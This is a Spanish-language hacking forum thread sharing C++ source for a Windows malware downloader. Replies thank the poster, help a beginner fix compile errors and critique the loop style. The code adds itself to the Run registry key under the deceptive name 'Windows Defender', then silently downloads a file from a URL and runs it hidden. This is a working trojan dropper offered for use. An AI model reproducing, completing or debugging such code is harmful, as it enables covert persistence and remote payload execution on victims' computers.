Código: Seleccionar todo

#include <iostream>
#include <windows.h>
#include <shlobj.h>
#include <wininet.h>
#pragma comment (lib, "wininet.lib")

void startup( char *szValue )
{
   HKEY hKey;
   char szFile[MAX_PATH];

   GetModuleFileName( NULL, szFile, sizeof(szFile) );

   if( IsUserAnAdmin() )
      RegOpenKeyEx( HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey );
   else
      RegOpenKeyEx( HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey );

   RegSetValueEx( hKey, szValue, 0, REG_SZ, (unsigned char *)szFile, strlen(szFile) + 1 );
   RegCloseKey( hKey );
}

bool download( char *szLink, char *szFile )
{
   unsigned long bRead;
   char szBuffer[98];
   
   HINTERNET hRequest = InternetOpen( "wget", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0 );
   if( hRequest == NULL )
      return false;
   
   HINTERNET hOpen = InternetOpenUrl( hRequest, szLink, NULL, 0, 0, 0 );
   if( hOpen == NULL )
      return false;
   
   FILE* pFile = fopen( szFile, "wb" );
   if( pFile == NULL )
      return false;
   
   while( InternetReadFile( hOpen, szBuffer, sizeof(szBuffer), &bRead ) )
   {
      if( bRead == NULL )
         break;

      fwrite( szBuffer, sizeof(char), bRead, pFile );
   }
   fclose( pFile );

   InternetCloseHandle( hRequest );
   InternetCloseHandle( hOpen );

   ShellExecute( NULL, "open", szFile, NULL, NULL, SW_HIDE );

   return true;
}

int main()
{
   HANDLE hMutex = CreateMutex( NULL, FALSE, "st00p1d" );

   if( GetLastError() == ERROR_ALREADY_EXISTS )
      ExitProcess(0);

   startup( "Windows Defender" );

   while( 1 )
      if( download( "http://images.google.com/intl/en_ALL/images/images_hp.gif", "lol.gif" ) )
        break;

   ReleaseMutex( hMutex );

   return 0;
}
Mmm, gracias, muy interesante...

Saludos!
.
gran aporte , mira que no he sido capaz de encontrar yo ningun downloader en c++
Saludos
Muchas gracias, se agradece por todo señor.
-Aprovechemos mientras Windows es vulnerable.
-No hagas a otros lo que no te gustaría que hagan con.... tu mamá.
-El mejor Snifer es tu propio ISP.
Disculpen soy bien nobato en la programacion, ¿por que me sale estos 2 errores?
esta se produe en la linea 24
14 C:\Documents and Settings\mi_makina\Escritorio\c++_dev\SinNombre1.cpp `IsUserAnAdmin' undeclared (first use this function)
if( IsUserAnAdmin() )


y esta se produce en la linea 42
42 C:\Documents and Settings\mi_makina\Escritorio\c++_dev\SinNombre1.cpp [Warning] NULL used in arithmetic
if( bRead == NULL )


No creo que sea culpa del IDE, por que lo e probado con varios, gracias de antemano.
saludos
-Aprovechemos mientras Windows es vulnerable.
-No hagas a otros lo que no te gustaría que hagan con.... tu mamá.
-El mejor Snifer es tu propio ISP.
Gracias

wasamandrapa escribió:Disculpen soy bien nobato en la programacion, ¿por que me sale estos 2 errores?
esta se produe en la linea 24
14 C:\Documents and Settings\mi_makina\Escritorio\c++_dev\SinNombre1.cpp `IsUserAnAdmin' undeclared (first use this function)
if( IsUserAnAdmin() )


y esta se produce en la linea 42
42 C:\Documents and Settings\mi_makina\Escritorio\c++_dev\SinNombre1.cpp [Warning] NULL used in arithmetic
if( bRead == NULL )


No creo que sea culpa del IDE, por que lo e probado con varios, gracias de antemano.
saludos
Te faltara o no tendras alguna de los includes declarados al principio.

Salu2
Cuanto más aprendo menos sé. Solo sé que no sé nada.

. . . ..... Los virus y troyanos se pueden escribir en el lenguaje apropiado pero el ensamblador es para un coderz como linux para un hacker ..... . . .
. . . ..................... No respondo a privados sobre dudas de temas tratados en el foro no tengo Messenger ni vida social alguna ..................... . . .
Ya lo as compilado QuoRuS ?
-Aprovechemos mientras Windows es vulnerable.
-No hagas a otros lo que no te gustaría que hagan con.... tu mamá.
-El mejor Snifer es tu propio ISP.
un while (1) y un Break ?
no digo que no funcione, pero en programación cosas asi estan muy mal vistas (si hubiera hecho algo asi en un parcial, ni miran lo demas me ponen un 2 de una ) . como el uso del Goto(satanico mal) jaja.
por algo es programación estructurada.



Forma incorrecta de hacerlo
while( 1 )
if( download( "[Enlace externo eliminado para invitados]", "lol.gif" ) )
break;

Forma correcta de hacerlo
Bool descargo

DO{
descargo = download( "[Enlace externo eliminado para invitados]", "lol.gif" );

}WHILE(descargo == false);

esto es mas que nada para los que quieren empezar Programación.
no estudien un lenguaje, estudien programación.
a los que no les interesa la programación y hacen programas rara vez para uso personal , no leyeron nada xD

saludos!
No hay éxito como el fracaso, pero el fracaso no es ningun éxito...
leos_79, muy educativa tu respuesta, gracias, puedes reponde mi inquietud por favor .
-Aprovechemos mientras Windows es vulnerable.
-No hagas a otros lo que no te gustaría que hagan con.... tu mamá.
-El mejor Snifer es tu propio ISP.
en el de la linea 42 pobrá esto
if( bRead == 0 )
dado q esta declarado asi
unsigned long bRead;

osea solo puede tener numeros, NULL seria para un char

y lo de IsUserAnAdmin , tendria q andar , porq la libreria esta declarada.

quiza falta declararla arriba

Bool IsUserAnAdmin(void);

saludos!
No hay éxito como el fracaso, pero el fracaso no es ningun éxito...
Gracais leos_79 probaré en estos dias tu consejo, sino que estoi full en estos dias, luego comento si me funcionó :D
saludos
-Aprovechemos mientras Windows es vulnerable.
-No hagas a otros lo que no te gustaría que hagan con.... tu mamá.
-El mejor Snifer es tu propio ISP.
grasias mucas :D
16 I:\Documents and Settings\\Mis documentos\Descargas\Untitled1.cpp `IsUserAnAdmin' undeclared (first use this function)
I:\Documents and Settings\\Mis documentos\Descargas\Untitled1.cpp In function `bool download(char*, char*)':
RapidShare.de will permanently shut down the servers on 1. March 2010! nein ..
PD:Policia española psicópata
∩____∩
| (• ◡•)|
Esta viejísimo el tema, si tienes dudas respecto al código te invito a abrir un nuevo tema.
Saludos!
//mHmm..
Cerrado

Volver a “Fuentes”